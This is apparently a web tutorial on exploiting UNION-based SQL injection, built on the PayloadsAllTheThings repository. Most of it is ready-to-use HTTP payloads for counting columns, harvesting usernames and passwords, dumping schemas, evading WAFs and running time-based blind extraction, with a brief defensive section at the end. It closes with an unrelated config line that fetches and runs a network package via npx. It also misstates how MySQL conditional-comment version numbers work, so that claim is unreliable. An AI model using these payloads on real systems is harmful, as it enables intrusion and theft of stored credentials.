Exploiting UNION-based SQL Injection for Data Extraction: A Complete Guide

UNION-based SQL injection allows attackers to extract arbitrary database records by appending a malicious SELECT statement to a vulnerable query, provided the injected query matches the original's column count and data types.

Exploiting UNION-based SQL injection for data extraction remains one of the most reliable techniques for retrieving sensitive information from compromised web applications. This method leverages the SQL UNION operator to merge results from the original query with attacker-controlled SELECT statements, effectively turning a legitimate data retrieval operation into a full database dump. The following guide draws from the comprehensive payload collection and documentation in the swisskyrepo/PayloadsAllTheThings repository, specifically referencing SQL Injection/README.md and database-specific injection files to provide actionable exploitation workflows.

How UNION-Based SQL Injection Works

The attack exploits the UNION operator, which concatenates the result sets of two or more SELECT statements. For a successful exploitation, the attacker must satisfy two constraints: the number of columns in the injected query must equal the number in the original query, and the data types of corresponding columns must be compatible.

According to the source analysis of SQL Injection/README.md, a typical vulnerable query structure appears as:

SELECT product_name, product_price FROM products WHERE product_id = 'input_id';

By injecting a payload such as 1' UNION SELECT username, password FROM users--, the attacker forces the database to execute:

SELECT product_name, product_price FROM products WHERE product_id = '1' 
UNION SELECT username, password FROM users --';

The application then returns both the original product data and the credential data from the users table.

Step-by-Step Exploitation Workflow

The following workflow, derived from the repository's structured guidance, outlines the complete process from initial detection to full data extraction.

1. Identify Vulnerable Parameters

Locate input vectors that interact with the database, such as URL parameters, form fields, or HTTP headers. Modify these inputs to trigger database errors or boolean-based behavioral changes.

2. Determine Column Count

Use the ORDER BY technique or UNION SELECT NULL sequences to enumerate the number of columns in the original query. Increment the column index until the application returns an error or changes behavior:

GET /product?id=1' ORDER BY 1-- HTTP/1.1
GET /product?id=1' ORDER BY 2-- HTTP/1.1
GET /product?id=1' ORDER BY 3-- HTTP/1.1

Alternatively, use UNION SELECT with increasing NULL values:

GET /product?id=1' UNION SELECT NULL-- HTTP/1.1
GET /product?id=1' UNION SELECT NULL,NULL-- HTTP/1.1
GET /product?id=1' UNION SELECT NULL,NULL,NULL-- HTTP/1.1

Reference: SQL Injection/MySQL Injection.md provides detailed column enumeration techniques.

3. Identify Injectable Columns

Determine which columns are reflected in the application response by replacing NULL values with database version strings or other identifiable data:

GET /product?id=1' UNION SELECT NULL,NULL,@@version-- HTTP/1.1

If the MySQL version appears in the response, the third column is injectable.

4. Match Data Types

Ensure the injected data types match the expected column types. Use casting functions when necessary:

CAST(@@version AS CHAR)
CONCAT('data', 123)

5. Extract Target Data

Execute the final extraction payload. For credential harvesting:

GET /product?id=1' UNION SELECT username,password FROM users-- HTTP/1.1

For schema enumeration:

GET /product?id=1' UNION SELECT table_name FROM information_schema.tables WHERE table_schema=database()-- HTTP/1.1

6. Iterate for Complete Dumps

Retrieve multiple rows using LIMIT/OFFSET or concatenate results:

UNION SELECT GROUP_CONCAT(username,0x3a,password) FROM users

Reference: SQL Injection/MySQL Injection.md documents GROUP_CONCAT usage for row aggregation.

Practical Payload Examples for Data Extraction

The following examples from the PayloadsAllTheThings repository demonstrate specific extraction scenarios across different database management systems.

Determining Column Count with ORDER BY

The ORDER BY method provides a reliable mechanism for column enumeration without requiring UNION:

GET /search?term=test' ORDER BY 10-- HTTP/1.1

If column 10 does not exist, the database returns an error, indicating the actual column count is lower.

Extracting Credentials with UNION SELECT

Once column count and types are confirmed, extract sensitive data by replacing the original query's displayed columns:

GET /item?id=1' UNION SELECT NULL, username, password, NULL FROM admin_users-- HTTP/1.1

This payload assumes the original query returns four columns, with columns two and three displayed in the response.

Dumping Schema Information

Enumerate database structure to identify additional targets:

GET /item?id=1' UNION SELECT table_name, column_name FROM information_schema.columns WHERE table_schema=database()-- HTTP/1.1

For PostgreSQL, use pg_catalog.pg_tables or information_schema.tables depending on permissions.

Evading Filters with Conditional Comments

MySQL conditional comments allow payloads to bypass primitive WAF filters:

GET /item?id=1' /*!12345UNION*/ SELECT username, password FROM users-- HTTP/1.1

The /*!12345UNION*/ syntax executes only on MySQL versions ≥ 12.345, often slipping past pattern-based detection.

Time-Based Blind Extraction (PostgreSQL)

When direct output is not visible, use time delays to extract data bit-by-bit:

GET /item?id=1' AND (SELECT CASE WHEN (SELECT password FROM users LIMIT 1 OFFSET 0)='p@ss' THEN pg_sleep(5) ELSE 0 END)-- HTTP/1.1

Response delays indicate successful character matching, allowing iterative data reconstruction.

Key Repository Files for UNION-Based Attacks

The PayloadsAllTheThings repository organizes its SQL injection resources into database-specific files and generic wordlists. The following files contain the most relevant payloads and techniques for UNION-based exploitation:

• SQL Injection/README.md – Central documentation covering UNION-based injection fundamentals, column enumeration techniques, and defensive considerations.

• SQL Injection/MySQL Injection.md – Comprehensive MySQL-specific payloads including ORDER BY column counting, GROUP_CONCAT aggregation for multi-row extraction, and conditional comment evasion.

• SQL Injection/OracleSQL Injection.md – Oracle-specific UNION techniques, including queries against dual tables and v$version extraction.

• SQL Injection/Intruder/Generic_UnionSelect.txt – A ready-made wordlist containing UNION SELECT skeletons for 1-100 columns, designed for use with Burp Suite Intruder or similar tools.

• SQL Injection/SQLmap.md – Integration guidance for sqlmap, which automates many UNION-based extraction techniques.

Defensive Countermeasures

Preventing UNION-based SQL injection requires eliminating the vulnerability at the source while implementing detection layers. Security teams should prioritize the following controls:

• Parameterized queries – Use prepared statements with bound variables instead of string concatenation. This prevents attackers from injecting UNION operators into the query structure.

• Least-privilege database accounts – Restrict application database users from accessing system tables (information_schema, pg_catalog, v$version) or tables outside their specific scope.

• Input validation – Implement allowlist validation for user inputs, rejecting unexpected characters such as single quotes, hyphens, and SQL keywords when not required.

• Error handling – Configure applications to return generic error messages. Detailed SQL error messages reveal column counts and database structures that facilitate UNION attack construction.

• Web Application Firewalls – Deploy WAFs with rules detecting UNION SELECT patterns, conditional comments, and anomalous query lengths.

Summary

• UNION-based SQL injection merges attacker-controlled SELECT statements with legitimate queries to extract arbitrary database content.

• Column enumeration is the critical first step; attackers use ORDER BY or UNION SELECT NULL sequences to determine the exact column count required for successful payload injection.

• Data type matching ensures compatibility between original and injected columns, often requiring casting functions or strategic column placement.

• The PayloadsAllTheThings repository provides comprehensive resources including SQL Injection/README.md, database-specific injection files, and the Generic_UnionSelect.txt wordlist for automating column enumeration.

• Prevention relies on parameterized queries, least-privilege database access, and proper error handling to deny attackers the information needed to construct valid UNION attacks.

Frequently Asked Questions

How does an attacker determine the correct number of columns for a UNION-based SQL injection attack?

Attackers typically use two methods to enumerate column counts. First, they incrementally test ORDER BY clauses (ORDER BY 1, ORDER BY 2, etc.) until the database returns an error, indicating the previous number was the actual column count. Alternatively, they inject UNION SELECT NULL sequences with increasing numbers of NULL values until the query executes successfully without type mismatch errors. The SQL Injection/MySQL Injection.md file in the PayloadsAllTheThings repository provides detailed examples of both techniques.

What is the difference between UNION and UNION ALL in SQL injection contexts?

UNION automatically eliminates duplicate rows from the combined result set, while UNION ALL preserves all rows including duplicates. In SQL injection attacks, attackers typically use UNION because it is more commonly supported and sufficient for data extraction. However, UNION ALL can be useful when the attacker needs to ensure specific row ordering or when dealing with complex nested queries where duplicate elimination might cause unexpected result truncation. Both operators require identical column counts and compatible data types between the original and injected queries.

How can attackers bypass Web Application Firewalls when performing UNION-based SQL injection?

Attackers employ several evasion techniques to circumvent WAF filters. Conditional comments allow payloads to hide SQL keywords using MySQL-specific syntax like /*!12345UNION*/, which executes only on specific MySQL versions. Encoding techniques include using hexadecimal representations, URL encoding, or base64 encoding depending on the application's decoding behavior. Inline comments such as /**/ can break up keywords (UN/**/ION), while case variation and alternative encoding (UTF-8, Unicode) may bypass pattern-matching rules. The SQL Injection/MySQL Injection.md file documents these comment-based evasion methods extensively.

Why does the injected SELECT statement need to match the original query's data types?

SQL databases enforce type compatibility in UNION operations to ensure the combined result set has consistent column definitions. If the original query's first column expects an integer but the injected query provides a string, the database returns a type mismatch error and the UNION fails. Attackers resolve this by mapping injectable columns to compatible data types—placing string data (like usernames or passwords) in columns that originally returned strings, or using casting functions like CAST() or CONVERT() to transform data types explicitly. This constraint makes column enumeration a prerequisite for successful data extraction.

{
  "mcpServers": {
    "instagit": {
      "command": "npx",
      "args": ["-y", "instagit@latest"]
    }
  }
}